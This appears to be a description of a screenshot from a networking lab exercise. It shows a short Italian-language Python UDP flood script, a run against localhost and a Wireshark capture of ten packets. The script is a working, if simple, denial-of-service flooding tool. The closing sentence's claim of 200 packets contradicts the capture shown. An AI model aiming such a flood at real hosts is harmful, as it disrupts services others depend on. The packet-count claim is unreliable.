

The image shows a Visual Studio Code editor window with a Python script named `UDP_flood.py`. The script is designed to simulate a UDP flood attack. It prompts the user for a target IP address, a target port, and the number of packets to send. The script then uses the `socket` module to create a UDP socket and send the specified number of random 1024-byte packets to the target.

```
1 import socket, random
2
3 pacchetto = random.randbytes(1024)
4
5 srv_addr = str(input("Inserisci l'indirizzo IP della macchina target: "))
6 srv_port = int(input("Inserisci la porta della macchina target: "))
7 numero_pacchetti = int(input("Inserisci il numero di pacchetti che vuoi inviare: "))
8
9 target = (srv_addr, srv_port)
10
11 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
12 s.bind(target)
13
14 for i in range(numero_pacchetti):
15     s.sendto(pacchetto, target)
```

The terminal window shows the execution of the script. The user provides the target IP as `127.0.0.1`, the target port as `12345`, and the number of packets as `10`.

```
/bin/python3.12 /home/francesco/Desktop/Workspace/UDP_flood.py
(francesco@francesco) - [~/Desktop/Workspace]
$ /bin/python3.12 /home/francesco/Desktop/Workspace/UDP_flood.py
Inserisci l'indirizzo IP della macchina target: 127.0.0.1
Inserisci la porta della macchina target: 12345
Inserisci il numero di pacchetti che vuoi inviare: 10
(francesco@francesco) - [~/Desktop/Workspace]
$
```

The Wireshark window shows a capture of the traffic on the loopback interface `lo`. The capture displays 10 UDP packets, all of which are 1066 bytes in length. The source IP is `127.0.0.1` and the destination IP is `127.0.0.1`. The source port is `12345` and the destination port is `12345`. The packets are all of type `UDP` and have a length of `1066` bytes.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
2	0.000027044	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
3	0.000038646	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
4	0.000047297	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
5	0.000119396	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
6	0.000149590	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
7	0.000165442	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
8	0.000171830	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
9	0.000177772	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024
10	0.000183624	127.0.0.1	127.0.0.1	UDP	1066	12345 → 12345 Len=1024

The Wireshark packet details pane shows the structure of the first packet:

- Frame 1: 1066 bytes on wire (8528 bits), 1066 bytes captured (8528 bits) on interface `lo`
- Ethernet II, Src: `00:00:00:00:00:00` (00:00:00:00:00:00), Dst: `00:00:00:00:00:00` (00:00:00:00:00:00)
- Internet Protocol Version 4, Src: `127.0.0.1`, Dst: `127.0.0.1`
- User Datagram Protocol, Src Port: `12345`, Dst Port: `12345`
- Data (1024 bytes)

The packet bytes pane shows the raw data of the first packet, which is a random 1024-byte payload.

Questo è un programma in Python che simula un attacco di tipo UDP flood. Come si può vedere dalla cattura di Wireshark, vengono inviati 200 pacchetti della grandezza di 1KB.